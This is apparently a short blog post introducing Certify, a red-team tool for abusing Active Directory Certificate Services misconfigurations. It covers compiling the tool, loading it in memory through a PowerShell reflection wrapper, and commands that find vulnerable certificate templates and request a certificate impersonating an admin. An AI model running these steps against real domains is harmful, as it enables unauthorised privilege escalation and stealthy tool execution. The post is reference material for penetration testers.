Certify
- Thiru T
- Nov 8, 2024
- 1 min read
Certify is a C# tool to enumerate and abuse misconfigurations in Active Directory Certificate Services (AD CS).
Certify is designed to be used in conjunction with other red team tools and techniques, such as Mimikatz and PowerShell, to enable red teamers to perform various types of attacks, including man-in-the-middle attacks, impersonation attacks, and privilege escalation attacks.
Key features of Certify:
Certificate creation
Certificate signing
Certificate import
Certificate trust modification
Install: (Compile)
Certify is compatible with Visual Studio 2019 Community Edition. Open the Certify project .sln, choose "Release", and build.
Install: (Running Certify Through PowerShell)
If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Certify.exe")) | Out-File -Encoding ASCII C:\Temp\Certify.txtCertify can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Certify assembly string):
$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
The Main() method and any arguments can then be invoked as follows:
[Certify.Program]::Main("find /vulnerable".Split())
Full compile instructions can be found here.
Usage:
# See if there are any vulnerable templates
Certify.exe find /vulnerable
# Request a new certificate for a template/CA, specifying a DA localadmin as the alternate principal
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadminFull example walkthrough can be found here.




Comments